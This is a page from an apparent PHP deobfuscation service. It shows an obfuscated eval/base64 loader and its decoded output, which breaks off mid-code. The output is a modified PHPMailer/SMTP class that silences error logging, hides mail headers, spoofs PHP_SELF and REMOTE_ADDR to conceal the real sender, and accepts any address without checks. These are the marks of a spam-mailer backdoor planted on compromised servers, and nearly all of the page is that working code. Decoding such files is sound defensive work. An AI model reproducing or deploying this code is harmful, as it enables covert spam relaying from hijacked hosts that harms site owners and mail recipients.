Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(gzuncompress(base64_decode('eNrtfQt32zjO6F/RaN3KmtqxnfQ1dpU2k7rTnE2aTOLOzm6S9af..
Decoded Output download
@ini_set('error_log',NULL);@ini_set('log_errors',0);@ini_set('mail.add_x_header',0);@ini_set('expose_php',0);@ini_set('mail.add_x_header','off');@ini_set('expose_php','off');@ini_set('error_reporting',0);@ini_set('display_errors',0);$oldphpself=$_SERVER['PHP_SELF'];$oldremoteaddr=$_SERVER['REMOTE_ADDR'];$_SERVER['PHP_SELF']="/";$_SERVER['REMOTE_ADDR']=$_SERVER['SERVER_ADDR'];class SMTP{public $SMTP_PORT=25;public $CRLF="
";public $do_debug;public $Debugoutput="echo";public $do_verp=false;public $Timeout=15;public $Timelimit=30;public $Version='5.2.2';private $smtp_conn;private $error;private $helo_rply;private function edebug($str){if($this->Debugoutput == "error_log"){error_log($str);}else{echo $str;}}public function __construct(){$this->smtp_conn=0;$this->error=null;$this->helo_rply=null;$this->do_debug=0;}public function Connect($host,$port=0,$tval=30){$this->error=null;if($this->connected()){$this->error=array("error"=> "Already connected to a server");return false;}if(empty($port)){$port=$this->SMTP_PORT;}echo"$host
";$this->smtp_conn=@fsockopen($host,$port,$errno,$errstr,$tval);if(empty($this->smtp_conn)){$this->error=array("error"=> "Failed to connect to server","errno"=> $errno,"errstr"=> $errstr);if($this->do_debug >= 1){$this->edebug("SMTP -> ERROR: " .$this->error["error"] .": $errstr ($errno)" .$this->CRLF .'<br />');}return false;}if(substr(PHP_OS,0,3)!= "WIN"){$max=ini_get('max_execution_time');if($max != 0 && $tval>$max){@set_time_limit($tval);}stream_set_timeout($this->smtp_conn,$tval,0);}$announce=$this->get_lines();if($this->do_debug >= 2){$this->edebug("SMTP -> FROM SERVER:" .$announce .$this->CRLF .'<br />');}return true;}public function StartTLS(){$this->error=null;if(!$this->connected()){$this->error=array("error"=> "Called StartTLS() without being connected");return false;}fputs($this->smtp_conn,"STARTTLS" .$this->CRLF);$rply=$this->get_lines();$code=substr($rply,0,3);if($this->do_debug >= 2){$this->edebug("SMTP -> FROM SERVER:" .$rply .$this->CRLF .'<br />');}if($code != 220){$this->error=array("error"=> "STARTTLS not accepted from server","smtp_code"=> $code,"smtp_msg"=> substr($rply,4));if($this->do_debug >= 1){$this->edebug("SMTP -> ERROR: " .$this->error["error"] .": " .$rply .$this->CRLF .'<br />');}return false;}if(!stream_socket_enable_crypto($this->smtp_conn,true,STREAM_CRYPTO_METHOD_TLS_CLIENT)){return false;}return true;}public function Authenticate($username,$password,$authtype='LOGIN',$realm='',$workstation=''){if(empty($authtype)){$authtype='LOGIN';}switch($authtype){case 'PLAIN':fputs($this->smtp_conn,"AUTH PLAIN" .$this->CRLF);$rply=$this->get_lines();$code=substr($rply,0,3);if($code != 334){$this->error=array("error"=> "AUTH not accepted from server","smtp_code"=> $code,"smtp_msg"=> substr($rply,4));if($this->do_debug >= 1){$this->edebug("SMTP -> ERROR: " .$this->error["error"] .": " .$rply .$this->CRLF .'<br />');}return false;}fputs($this->smtp_conn,base64_encode("" .$username ."" .$password) .$this->CRLF);$rply=$this->get_lines();$code=substr($rply,0,3);if($code != 235){$this->error=array("error"=> "Authentication not accepted from server","smtp_code"=> $code,"smtp_msg"=> substr($rply,4));if($this->do_debug >= 1){$this->edebug("SMTP -> ERROR: " .$this->error["error"] .": " .$rply .$this->CRLF .'<br />');}return false;}break;case 'LOGIN':fputs($this->smtp_conn,"AUTH LOGIN" .$this->CRLF);$rply=$this->get_lines();$code=substr($rply,0,3);if($code != 334){$this->error=array("error"=> "AUTH not accepted from server","smtp_code"=> $code,"smtp_msg"=> substr($rply,4));if($this->do_debug >= 1){$this->edebug("SMTP -> ERROR: " .$this->error["error"] .": " .$rply .$this->CRLF .'<br />');}return false;}fputs($this->smtp_conn,base64_encode($username) .$this->CRLF);$rply=$this->get_lines();$code=substr($rply,0,3);if($code != 334){$this->error=array("error"=> "Username not accepted from server","smtp_code"=> $code,"smtp_msg"=> substr($rply,4));if($this->do_debug >= 1){$this->edebug("SMTP -> ERROR: " .$this->error["error"] .": " .$rply .$this->CRLF .'<br />');}return false;}fputs($this->smtp_conn,base64_encode($password) .$this->CRLF);$rply=$this->get_lines();$code=substr($rply,0,3);if($code != 235){$this->error=array("error"=> "Password not accepted from server","smtp_code"=> $code,"smtp_msg"=> substr($rply,4));if($this->do_debug >= 1){$this->edebug("SMTP -> ERROR: " .$this->error["error"] .": " .$rply .$this->CRLF .'<br />');}return false;}break;case 'NTLM':require_once('ntlm_sasl_client.php');$temp=new stdClass();$ntlm_client=new ntlm_sasl_client_class;if(!$ntlm_client->Initialize($temp)){$this->error=array("error"=> $temp->error);if($this->do_debug >= 1){$this->edebug("You need to enable some modules in your php.ini file: " .$this->error["error"] .$this->CRLF);}return false;}$msg1=$ntlm_client->TypeMsg1($realm,$workstation);fputs($this->smtp_conn,"AUTH NTLM " .base64_encode($msg1) .$this->CRLF);$rply=$this->get_lines();$code=substr($rply,0,3);if($code != 334){$this->error=array("error"=> "AUTH not accepted from server","smtp_code"=> $code,"smtp_msg"=> substr($rply,4));if($this->do_debug >= 1){$this->edebug("SMTP -> ERROR: " .$this->error["error"] .": " .$rply .$this->CRLF);}return false;}$challange=substr($rply,3);$challange=base64_decode($challange);$ntlm_res=$ntlm_client->NTLMResponse(substr($challange,24,8),$password);$msg3=$ntlm_client->TypeMsg3($ntlm_res,$username,$realm,$workstation);fputs($this->smtp_conn,base64_encode($msg3) .$this->CRLF);$rply=$this->get_lines();$code=substr($rply,0,3);if($code != 235){$this->error=array("error"=> "Could not authenticate","smtp_code"=> $code,"smtp_msg"=> substr($rply,4));if($this->do_debug >= 1){$this->edebug("SMTP -> ERROR: " .$this->error["error"] .": " .$rply .$this->CRLF);}return false;}break;}return true;}public function Connected(){if(!empty($this->smtp_conn)){$sock_status=socket_get_status($this->smtp_conn);if($sock_status["eof"]){if($this->do_debug >= 1){$this->edebug("SMTP -> NOTICE:" .$this->CRLF ."EOF caught while checking if connected");}$this->Close();return false;}return true;}return false;}public function Close(){$this->error=null;$this->helo_rply=null;if(!empty($this->smtp_conn)){fclose($this->smtp_conn);$this->smtp_conn=0;}}public function Data($msg_data){$this->error=null;if(!$this->connected()){$this->error=array("error"=> "Called Data() without being connected");return false;}fputs($this->smtp_conn,"DATA" .$this->CRLF);$rply=$this->get_lines();$code=substr($rply,0,3);if($this->do_debug >= 2){$this->edebug("SMTP -> FROM SERVER:" .$rply .$this->CRLF .'<br />');}if($code != 354){$this->error=array("error"=> "DATA command not accepted from server","smtp_code"=> $code,"smtp_msg"=> substr($rply,4));if($this->do_debug >= 1){$this->edebug("SMTP -> ERROR: " .$this->error["error"] .": " .$rply .$this->CRLF .'<br />');}return false;}$msg_data=str_replace("
","
",$msg_data);$msg_data=str_replace("
","
",$msg_data);$lines=explode("
",$msg_data);$field=substr($lines[0],0,strpos($lines[0],":"));$in_headers=false;if(!empty($field)&&!strstr($field," ")){$in_headers=true;}$max_line_length=998;while(list(,$line)=@each($lines)){$lines_out=null;if($line == ""&& $in_headers){$in_headers=false;}while(strlen($line)>$max_line_length){$pos=strrpos(substr($line,0,$max_line_length)," ");if(!$pos){$pos=$max_line_length-1;$lines_out[]=substr($line,0,$pos);$line=substr($line,$pos);}else{$lines_out[]=substr($line,0,$pos);$line=substr($line,$pos+1);}if($in_headers){$line=" " .$line;}}$lines_out[]=$line;while(list(,$line_out)=@each($lines_out)){if(strlen($line_out)>0){if(substr($line_out,0,1)== "."){$line_out="." .$line_out;}}fputs($this->smtp_conn,$line_out .$this->CRLF);}}fputs($this->smtp_conn,$this->CRLF ."." .$this->CRLF);$rply=$this->get_lines();$code=substr($rply,0,3);if($this->do_debug >= 2){$this->edebug("SMTP -> FROM SERVER:" .$rply .$this->CRLF .'<br />');}if($code != 250){$this->error=array("error"=> "DATA not accepted from server","smtp_code"=> $code,"smtp_msg"=> substr($rply,4));if($this->do_debug >= 1){$this->edebug("SMTP -> ERROR: " .$this->error["error"] .": " .$rply .$this->CRLF .'<br />');}return false;}return true;}public function Hello($host=''){$this->error=null;if(!$this->connected()){$this->error=array("error"=> "Called Hello() without being connected");return false;}if(empty($host)){$host="localhost";}if(!$this->SendHello("EHLO",$host)){if(!$this->SendHello("HELO",$host)){return false;}}return true;}private function SendHello($hello,$host){fputs($this->smtp_conn,$hello ." " .$host .$this->CRLF);$rply=$this->get_lines();$code=substr($rply,0,3);if($this->do_debug >= 2){$this->edebug("SMTP -> FROM SERVER: " .$rply .$this->CRLF .'<br />');}if($code != 250){$this->error=array("error"=> $hello ." not accepted from server","smtp_code"=> $code,"smtp_msg"=> substr($rply,4));if($this->do_debug >= 1){$this->edebug("SMTP -> ERROR: " .$this->error["error"] .": " .$rply .$this->CRLF .'<br />');}return false;}$this->helo_rply=$rply;return true;}public function Mail($from){$this->error=null;if(!$this->connected()){$this->error=array("error"=> "Called Mail() without being connected");return false;}$useVerp=($this->do_verp?" XVERP":"");fputs($this->smtp_conn,"MAIL FROM:<" .$from .">" .$useVerp .$this->CRLF);$rply=$this->get_lines();$code=substr($rply,0,3);if($this->do_debug >= 2){$this->edebug("SMTP -> FROM SERVER:" .$rply .$this->CRLF .'<br />');}if($code != 250){$this->error=array("error"=> "MAIL not accepted from server","smtp_code"=> $code,"smtp_msg"=> substr($rply,4));if($this->do_debug >= 1){$this->edebug("SMTP -> ERROR: " .$this->error["error"] .": " .$rply .$this->CRLF .'<br />');}return false;}return true;}public function Quit($close_on_error=true){$this->error=null;if(!$this->connected()){$this->error=array("error"=> "Called Quit() without being connected");return false;}fputs($this->smtp_conn,"quit" .$this->CRLF);$byemsg=$this->get_lines();if($this->do_debug >= 2){$this->edebug("SMTP -> FROM SERVER:" .$byemsg .$this->CRLF .'<br />');}$rval=true;$e=null;$code=substr($byemsg,0,3);if($code != 221){$e=array("error"=> "SMTP server rejected quit command","smtp_code"=> $code,"smtp_rply"=> substr($byemsg,4));$rval=false;if($this->do_debug >= 1){$this->edebug("SMTP -> ERROR: " .$e["error"] .": " .$byemsg .$this->CRLF .'<br />');}}if(empty($e)|| $close_on_error){$this->Close();}return $rval;}public function Recipient($to){$this->error=null;if(!$this->connected()){$this->error=array("error"=> "Called Recipient() without being connected");return false;}fputs($this->smtp_conn,"RCPT TO:<" .$to .">" .$this->CRLF);$rply=$this->get_lines();$code=substr($rply,0,3);if($this->do_debug >= 2){$this->edebug("SMTP -> FROM SERVER:" .$rply .$this->CRLF .'<br />');}if($code != 250 && $code != 251){$this->error=array("error"=> "RCPT not accepted from server","smtp_code"=> $code,"smtp_msg"=> substr($rply,4));if($this->do_debug >= 1){$this->edebug("SMTP -> ERROR: " .$this->error["error"] .": " .$rply .$this->CRLF .'<br />');}return false;}return true;}public function Reset(){$this->error=null;if(!$this->connected()){$this->error=array("error"=> "Called Reset() without being connected");return false;}fputs($this->smtp_conn,"RSET" .$this->CRLF);$rply=$this->get_lines();$code=substr($rply,0,3);if($this->do_debug >= 2){$this->edebug("SMTP -> FROM SERVER:" .$rply .$this->CRLF .'<br />');}if($code != 250){$this->error=array("error"=> "RSET failed","smtp_code"=> $code,"smtp_msg"=> substr($rply,4));if($this->do_debug >= 1){$this->edebug("SMTP -> ERROR: " .$this->error["error"] .": " .$rply .$this->CRLF .'<br />');}return false;}return true;}public function SendAndMail($from){$this->error=null;if(!$this->connected()){$this->error=array("error"=> "Called SendAndMail() without being connected");return false;}fputs($this->smtp_conn,"SAML FROM:" .$from .$this->CRLF);$rply=$this->get_lines();$code=substr($rply,0,3);if($this->do_debug >= 2){$this->edebug("SMTP -> FROM SERVER:" .$rply .$this->CRLF .'<br />');}if($code != 250){$this->error=array("error"=> "SAML not accepted from server","smtp_code"=> $code,"smtp_msg"=> substr($rply,4));if($this->do_debug >= 1){$this->edebug("SMTP -> ERROR: " .$this->error["error"] .": " .$rply .$this->CRLF .'<br />');}return false;}return true;}public function Turn(){$this->error=array("error"=> "This method, TURN, of the SMTP " ."is not implemented");if($this->do_debug >= 1){$this->edebug("SMTP -> NOTICE: " .$this->error["error"] .$this->CRLF .'<br />');}return false;}public function getError(){return $this->error;}private function get_lines(){$data="";$endtime=0;if(!is_resource($this->smtp_conn)){return $data;}stream_set_timeout($this->smtp_conn,$this->Timeout);if($this->Timelimit>0){$endtime=time()+$this->Timelimit;}while(is_resource($this->smtp_conn)&&!feof($this->smtp_conn)){$str=@fgets($this->smtp_conn,515);if($this->do_debug >= 4){$this->edebug("SMTP -> get_lines(): \$data was \"$data\"" .$this->CRLF .'<br />');$this->edebug("SMTP -> get_lines(): \$str is \"$str\"" .$this->CRLF .'<br />');}$data .= $str;if($this->do_debug >= 4){$this->edebug("SMTP -> get_lines(): \$data is \"$data\"" .$this->CRLF .'<br />');}if(substr($str,3,1)== " "){break;}$info=stream_get_meta_data($this->smtp_conn);if($info['timed_out']){if($this->do_debug >= 4){$this->edebug("SMTP -> get_lines(): timed-out (" .$this->Timeout ." seconds) <br />");}break;}if($endtime){if(time()>$endtime){if($this->do_debug >= 4){$this->edebug("SMTP -> get_lines(): timelimit reached (" .$this->Timelimit ." seconds) <br />");}break;}}}return $data;}}class PHPMailer{public $CharSet='iso-8859-1';public $ContentType='text/plain';public $Encoding='8bit';public $ErrorInfo='';public $From='root@localhost';public $FromName='Root User';public $Sender='';public $ReturnPath='';public $Subject='';public $Body='';public $AltBody='';protected $MIMEBody='';protected $MIMEHeader='';protected $mailHeader='';public $WordWrap=0;public $Mailer='mail';public $Sendmail='/usr/sbin/sendmail';public $UseSendmailOptions=true;public $PluginDir='';public $ConfirmReadingTo='';public $Hostname='';public $MessageID='';public $MessageDate='';public $Host='localhost';public $Port=25;public $Helo='';public $SMTPSecure='';public $SMTPAuth=false;public $Username='';public $Password='';public $AuthType='';public $Realm='';public $Workstation='';public $Timeout=15;public $SMTPDebug=false;public $Debugoutput="echo";public $SMTPKeepAlive=false;public $SingleTo=false;public $SingleToArray=array();public $LE="
";public $DKIM_selector='';public $DKIM_identity='';public $DKIM_passphrase='';public $DKIM_domain='';public $DKIM_private='';public $action_function='';public $Version='5.2.2';public $XMailer='';protected $smtp=null;protected $to=array();protected $cc=array();protected $bcc=array();protected $ReplyTo=array();protected $all_recipients=array();protected $attachment=array();protected $CustomHeader=array();protected $message_type='';protected $boundary=array();protected $language=array();protected $error_count=0;protected $sign_cert_file='';protected $sign_key_file='';protected $sign_key_pass='';protected $exceptions=false;const STOP_MESSAGE=0;const STOP_CONTINUE=1;const STOP_CRITICAL=2;const CRLF="
";private function mail_passthru($to,$subject,$body,$header,$params){if(ini_get('safe_mode')||!($this->UseSendmailOptions)){$rt=@mail($to,$this->EncodeHeader($this->SecureHeader($subject)),$body,$header);}else{$rt=@mail($to,$this->EncodeHeader($this->SecureHeader($subject)),$body,$header,$params);}return $rt;}private function edebug($str){if($this->Debugoutput == "error_log"){error_log($str);}else{echo $str;}}public function __construct($exceptions=false){$this->exceptions=($exceptions == true);}public function IsHTML($ishtml=true){if($ishtml){$this->ContentType='text/html';}else{$this->ContentType='text/plain';}}public function IsSMTP(){$this->Mailer='smtp';}public function IsMail(){$this->Mailer='mail';}public function IsSendmail(){if(!stristr(ini_get('sendmail_path'),'sendmail')){$this->Sendmail='/var/qmail/bin/sendmail';}$this->Mailer='sendmail';}public function IsQmail(){if(stristr(ini_get('sendmail_path'),'qmail')){$this->Sendmail='/var/qmail/bin/sendmail';}$this->Mailer='sendmail';}public function AddAddress($address,$name=''){return $this->AddAnAddress('to',$address,$name);}public function AddCC($address,$name=''){return $this->AddAnAddress('cc',$address,$name);}public function AddBCC($address,$name=''){return $this->AddAnAddress('bcc',$address,$name);}public function AddReplyTo($address,$name=''){return $this->AddAnAddress('Reply-To',$address,$name);}protected function AddAnAddress($kind,$address,$name=''){if(!preg_match('/^(to|cc|bcc|Reply-To)$/',$kind)){$this->SetError($this->Lang('Invalid recipient array') .': ' .$kind);if($this->exceptions){throw new phpmailerException('Invalid recipient array: ' .$kind);}if($this->SMTPDebug){$this->edebug($this->Lang('Invalid recipient array') .': ' .$kind);}return false;}$address=trim($address);$name=trim(preg_replace('/[
]+/','',$name));if(!$this->ValidateAddress($address)){$this->SetError($this->Lang('invalid_address') .': ' .$address);if($this->exceptions){throw new phpmailerException($this->Lang('invalid_address') .': ' .$address);}if($this->SMTPDebug){$this->edebug($this->Lang('invalid_address') .': ' .$address);}return false;}if($kind != 'Reply-To'){if(!isset($this->all_recipients[strtolower($address)])){array_push($this->$kind,array($address,$name));$this->all_recipients[strtolower($address)]=true;return true;}}else{if(!array_key_exists(strtolower($address),$this->ReplyTo)){$this->ReplyTo[strtolower($address)]=array($address,$name);return true;}}return false;}public function SetFrom($address,$name='',$auto=1){$address=trim($address);$name=trim(preg_replace('/[
]+/','',$name));if(!$this->ValidateAddress($address)){$this->SetError($this->Lang('invalid_address') .': ' .$address);if($this->exceptions){throw new phpmailerException($this->Lang('invalid_address') .': ' .$address);}if($this->SMTPDebug){$this->edebug($this->Lang('invalid_address') .': ' .$address);}return false;}$this->From=$address;$this->FromName=$name;if($auto){if(empty($this->ReplyTo)){$this->AddAnAddress('Reply-To',$address,$name);}if(empty($this->Sender)){$this->Sender=$address;}}return true;}public static function ValidateAddress($address){return true;}public function Send(){try{if(!$this->PreSend())return false;return $this->PostSend();}catch(phpmailerException $e){$this->mailHeader='';$this->SetError($e->getMessage());if($this->exceptions){throw $e;}return false;}}public function PreSend(){try{$this->mailHeader="";if((count($this->to)+count($this->cc)+count($this->bcc))<1){throw new phpmailerException($this->Lang('provide_address'),self::STOP_CRITICAL);}if(!empty($this->AltBody)){$this->ContentType='multipart/alternative';}$this->error_count=0;$this->SetMessageType();if(empty($this->Body)){throw new phpmailerException($this->Lang('empty_message'),self::STOP_CRITICAL);}$this->MIMEHeader=$this->CreateHeader();$this->MIMEBody=$this->CreateBody();if($this->Mailer == 'mail'){if(count($this->to)>0){$this->mailHeader .= $this->AddrAppend("To",$this->to);}else{$this->mailHeader .= $this->HeaderLine("To","undisclosed-recipients:;");}$this->mailHeader .= $this->HeaderLine('Subject',$this->EncodeHeader($this->SecureHeader(trim($this->Subject))));}if(!empty($this->DKIM_domain)&&!empty($this->DKIM_private)&&!empty($this->DKIM_selector)&&!empty($this->DKIM_domain)&& file_exists($this->DKIM_private)){$header_dkim=$this->DKIM_Add($this->MIMEHeader,$this->EncodeHeader($this->SecureHeader($this->Subject)),$this->MIMEBody);$this->MIMEHeader=str_replace("
","
",$header_dkim) .$this->MIMEHeader;}return true;}catch(phpmailerException $e){$this->SetError($e->getMessage());if($this->exceptions){throw $e;}return false;}}public function PostSend(){try{switch($this->Mailer){case 'sendmail':return $this->SendmailSend($this->MIMEHeader,$this->MIMEBody);case 'smtp':return $this->SmtpSend($this->MIMEHeader,$this->MIMEBody);case 'mail':return $this->MailSend($this->MIMEHeader,$this->MIMEBody);default:return $this->MailSend($this->MIMEHeader,$this->MIMEBody);}}catch(phpmailerException $e){$this->SetError($e->getMessage());if($this->exceptions){throw $e;}if($this->SMTPDebug){$this->edebug($e->getMessage() ."
");}}return false;}protected function SendmailSend($header,$body){if($this->Sender != ''){$sendmail=sprintf("%s -oi -f%s -t",escapeshellcmd($this->Sendmail),escapeshellarg($this->Sender));}else{$sendmail=sprintf("%s -oi -t",escapeshellcmd($this->Sendmail));}if($this->SingleTo === true){foreach($this->SingleToArray as $val){if(!@$mail=popen($sendmail,'w')){throw new phpmailerException($this->Lang('execute') .$this->Sendmail,self::STOP_CRITICAL);}fputs($mail,"To: " .$val ."
");fputs($mail,$header);fputs($mail,$body);$result=pclose($mail);$isSent=($result == 0)?1:0;$this->doCallback($isSent,$val,$this->cc,$this->bcc,$this->Subject,$body);if($result != 0){throw new phpmailerException($this->Lang('execute') .$this->Sendmail,self::STOP_CRITICAL);}}}else{if(!@$mail=popen($sendmail,'w')){throw new phpmailerException($this->Lang('execute') .$this->Sendmail,self::STOP_CRITICAL);}fputs($mail,$header);fputs($mail,$body);$result=pclose($mail);$isSent=($result == 0)?1:0;$this->doCallback($isSent,$this->to,$this->cc,$this->bcc,$this->Subject,$body);if($result != 0){throw new phpmailerException($this->Lang('execute') .$this->Sendmail,self::STOP_CRITICAL);}}return true;}protected function MailSend($header,$body){$toArr=array();foreach($this->to as $t){$toArr[]=$this->AddrFormat($t);}$to=implode(', ',$toArr);if(empty($this->Sender)){$params="-oi ";}else{$params=sprintf("-oi -f%s",$this->Sender);}if($this->Sender != ''and!ini_get('safe_mode')){$old_from=ini_get('sendmail_from');@ini_set('sendmail_from',$this->Sender);}$rt=false;if($this->SingleTo === true && count($toArr)>1){foreach($toArr as $val){$rt=$this->mail_passthru($val,$this->Subject,$body,$header,$params);$isSent=($rt == 1)?1:0;$this->doCallback($isSent,$val,$this->cc,$this->bcc,$this->Subject,$body);}}else{$rt=$this->mail_passthru($to,$this->Subject,$body,$header,$params);$isSent=($rt == 1)?1:0;$this->doCallback($isSent,$to,$this->cc,$this->bcc,$this->Subject,$body);}if(isset($old_from)){@ini_set('sendmail_from',$old_from);}if(!$rt){throw new phpmailerException($this->Lang('instantiate'),self::STOP_CRITICAL);}return true;}protected function SmtpSend($header,$body){$bad_rcpt=array();if(!$this->SmtpConnect()){throw new phpmailerException($this->Lang('smtp_connect_failed'),self::STOP_CRITICAL);}$smtp_from=($this->Sender == '')?$this->From:$this->Sender;if(!$this->smtp->Mail($smtp_from)){throw new phpmailerException($this->Lang('from_failed') .$smtp_from,self::STOP_CRITICAL);}foreach($this->to as $to){if(!$this->smtp->Recipient($to[0])){$bad_rcpt[]=$to[0];$isSent=0;$this->doCallback($isSent,$to[0],'','',$this->Subject,$body);}else{$isSent=1;$this->doCallback($isSent,$to[0],'','',$this->Subject,$body);}}foreach($this->cc as $cc){if(!$this->smtp->Recipient($cc[0])){$bad_rcpt[]=$cc[0];$isSent=0;$this->doCallback($isSent,'',$cc[0],'',$this->Subject,$body);}else{$isSent=1;$this->doCallback($isSent,'',$cc[0],'',$this->Subject,$body);}}foreach($this->bcc as $bcc){if(!$this->smtp->Recipient($bcc[0])){$bad_rcpt[]=$bcc[0];$isSent=0;$this->doCallback($isSent,'','',$bcc[0],$this->Subject,$body);}else{$isSent=1;$this->doCallback($isSent,'','',$bcc[0],$this->Subject,$body);}}if(count($bad_rcpt)>0){$badaddresses=implode(', ',$bad_rcpt);throw new phpmailerException($this->Lang('recipients_failed') .$badaddresses);}if(!$this->smtp->Data($header .$body)){throw new phpmailerException($this->Lang('data_not_accepted'),self::STOP_CRITICAL);}if($this->SMTPKeepAlive == true){$this->smtp->Reset();}else{$this->smtp->Quit();$this->smtp->Close();}return true;}public function SmtpConnect(){if(is_null($this->smtp)){$this->smtp=new SMTP;}$this->smtp->Timeout=$this->Timeout;$this->smtp->do_debug=$this->SMTPDebug;$hosts=explode(';',$this->Host);$index=0;$connection=$this->smtp->Connected();try{while($index<count($hosts)&&!$connection){$hostinfo=array();if(preg_match('/^(.+):([0-9]+)$/',$hosts[$index],$hostinfo)){$host=$hostinfo[1];$port=$hostinfo[2];}else{$host=$hosts[$index];$port=$this->Port;}$tls=($this->SMTPSecure == 'tls');$ssl=($this->SMTPSecure == 'ssl');if($this->smtp->Connect(($ssl?'ssl://':'') .$host,$port,$this->Timeout)){$hello=($this->Helo != ''?$this->Helo:$this->ServerHostname());$this->smtp->Hello($hello);if($tls){if(!$this->smtp->StartTLS()){throw new phpmailerException($this->Lang('tls'));}$this->smtp->Hello($hello);}$connection=true;if($this->SMTPAuth){if(!$this->smtp->Authenticate($this->Username,$this->Password,$this->AuthType,$this->Realm,$this->Workstation)){throw new phpmailerException($this->Lang('authenticate'));}}}$index++;if(!$connection){throw new phpmailerException($this->Lang('connect_host'));}}}catch(phpmailerException $e){$this->smtp->Reset();if($this->exceptions){throw $e;}}return true;}public function SmtpClose(){if($this->smtp !== null){if($this->smtp->Connected()){$this->smtp->Quit();$this->smtp->Close();}}}function SetLanguage($langcode='en',$lang_path='language/'){$PHPMAILER_LANG=array('authenticate'=> 'SMTP Error: Could not authenticate.','connect_host'=> 'SMTP Error: Could not connect to SMTP host.','data_not_accepted'=> 'SMTP Error: Data not accepted.','empty_message'=> 'Message body empty','encoding'=> 'Unknown encoding: ','execute'=> 'Could not execute: ','file_access'=> 'Could not access file: ','file_open'=> 'File Error: Could not open file: ','from_failed'=> 'The following From address failed: ','instantiate'=> 'Could not instantiate mail function.','invalid_address'=> 'Invalid address','mailer_not_supported'=> ' mailer is not supported.','provide_address'=> 'You must provide at least one recipient email address.','recipients_failed'=> 'SMTP Error: The following recipients failed: ','signing'=> 'Signing Error: ','smtp_connect_failed'=> 'SMTP Connect() failed.','smtp_error'=> 'SMTP server error: ','variable_set'=> 'Cannot set or reset variable: ');$l=true;if($langcode != 'en'){$l=@include $lang_path .'phpmailer.lang-' .$langcode .'.php';}$this->language=$PHPMAILER_LANG;return($l == true);}public function GetTranslations(){return $this->language;}public function AddrAppend($type,$addr){$addr_str=$type .': ';$addresses=array();foreach($addr as $a){$addresses[]=$this->AddrFormat($a);}$addr_str .= implode(', ',$addresses);$addr_str .= $this->LE;return $addr_str;}public function AddrFormat($addr){if(empty($addr[1])){return $this->SecureHeader($addr[0]);}else{return $this->EncodeHeader($this->SecureHeader($addr[1]),'phrase') ." <" .$this->SecureHeader($addr[0]) .">";}}public function WrapText($message,$length,$qp_mode=false){$soft_break=($qp_mode)?sprintf(" =%s",$this->LE):$this->LE;$is_utf8=(strtolower($this->CharSet)== "utf-8");$lelen=strlen($this->LE);$crlflen=strlen(self::CRLF);$message=$this->FixEOL($message);if(substr($message,-$lelen)== $this->LE){$message=substr($message,0,-$lelen);}$line=explode($this->LE,$message);$message='';for($i=0;$i<count($line);$i++){$line_part=explode(' ',$line[$i]);$buf='';for($e=0;$e<count($line_part);$e++){$word=$line_part[$e];if($qp_mode and(strlen($word)>$length)){$space_left=$length-strlen($buf)-$crlflen;if($e != 0){if($space_left>20){$len=$space_left;if($is_utf8){$len=$this->UTF8CharBoundary($word,$len);}elseif(substr($word,$len-1,1)== "="){$len--;}elseif(substr($word,$len-2,1)== "="){$len -= 2;}$part=substr($word,0,$len);$word=substr($word,$len);$buf .= ' ' .$part;$message .= $buf .sprintf("=%s",self::CRLF);}else{$message .= $buf .$soft_break;}$buf='';}while(strlen($word)>0){$len=$length;if($is_utf8){$len=$this->UTF8CharBoundary($word,$len);}elseif(substr($word,$len-1,1)== "="){$len--;}elseif(substr($word,$len-2,1)== "="){$len -= 2;}$part=substr($word,0,$len);$word=substr($word,$len);if(strlen($word)>0){$message .= $part .sprintf("=%s",self::CRLF);}else{$buf=$part;}}}else{$buf_o=$buf;$buf .=($e == 0)?$word:(' ' .$word);if(strlen($buf)>$length and $buf_o != ''){$message .= $buf_o .$soft_break;$buf=$word;}}}$message .= $buf .self::CRLF;}return $message;}public function UTF8CharBoundary($encodedText,$maxLength){$foundSplitPos=false;$lookBack=3;while(!$foundSplitPos){$lastChunk=substr($encodedText,$maxLength-$lookBack,$lookBack);$encodedCharPos=strpos($lastChunk,"=");if($encodedCharPos !== false){$hex=substr($encodedText,$maxLength-$lookBack+$encodedCharPos+1,2);$dec=hexdec($hex);if($dec<128){$maxLength=($encodedCharPos == 0)?$maxLength:$maxLength-($lookBack-$encodedCharPos);$foundSplitPos=true;}elseif($dec >= 192){$maxLength=$maxLength-($lookBack-$encodedCharPos);$foundSplitPos=true;}elseif($dec<192){$lookBack += 3;}}else{$foundSplitPos=true;}}return $maxLength;}public function SetWordWrap(){if($this->WordWrap<1){return;}switch($this->message_type){case 'alt':case 'alt_inline':case 'alt_attach':case 'alt_inline_attach':$this->AltBody=$this->WrapText($this->AltBody,$this->WordWrap);break;default:$this->Body=$this->WrapText($this->Body,$this->WordWrap);break;}}public function CreateHeader(){$result='';$uniq_id=md5(uniqid(time()));$this->boundary[1]='b1_' .$uniq_id;$this->boundary[2]='b2_' .$uniq_id;$this->boundary[3]='b3_' .$uniq_id;if($this->MessageDate == ''){$result .= $this->HeaderLine('Date',self::RFCDate());}else{$result .= $this->HeaderLine('Date',$this->MessageDate);}if($this->ReturnPath){$result .= $this->HeaderLine('Return-Path',trim($this->ReturnPath));}elseif($this->Sender == ''){$result .= $this->HeaderLine('Return-Path',trim($this->From));}else{$result .= $this->HeaderLine('Return-Path',trim($this->Sender));}if($this->Mailer != 'mail'){if($this->SingleTo === true){foreach($this->to as $t){$this->SingleToArray[]=$this->AddrFormat($t);}}else{if(count($this->to)>0){$result .= $this->AddrAppend('To',$this->to);}elseif(count($this->cc)== 0){$result .= $this->HeaderLine('To','undisclosed-recipients:;');}}}$from=array();$from[0][0]=trim($this->From);$from[0][1]=$this->FromName;$result .= $this->AddrAppend('From',$from);if(count($this->cc)>0){$result .= $this->AddrAppend('Cc',$this->cc);}if((($this->Mailer == 'sendmail')||($this->Mailer == 'mail'))&&(count($this->bcc)>0)){$result .= $this->AddrAppend('Bcc',$this->bcc);}if(count($this->ReplyTo)>0){$result .= $this->AddrAppend('Reply-To',$this->ReplyTo);}if($this->Mailer != 'mail'){$result .= $this->HeaderLine('Subject',$this->EncodeHeader($this->SecureHeader($this->Subject)));}if($this->MessageID != ''){$result .= $this->HeaderLine('Message-ID',$this->MessageID);}else{$result .= sprintf("Message-ID: <%s@%s>%s",$uniq_id,$this->ServerHostname(),$this->LE);}if($this->XMailer == ''){$result .= $this->HeaderLine('X-Mailer','PHPMailer ' .$this->Version .' (http://code.google.com/a/apache-extras.org/p/phpmailer/)');}else{$myXmailer=trim($this->XMailer);if($myXmailer){$result .= 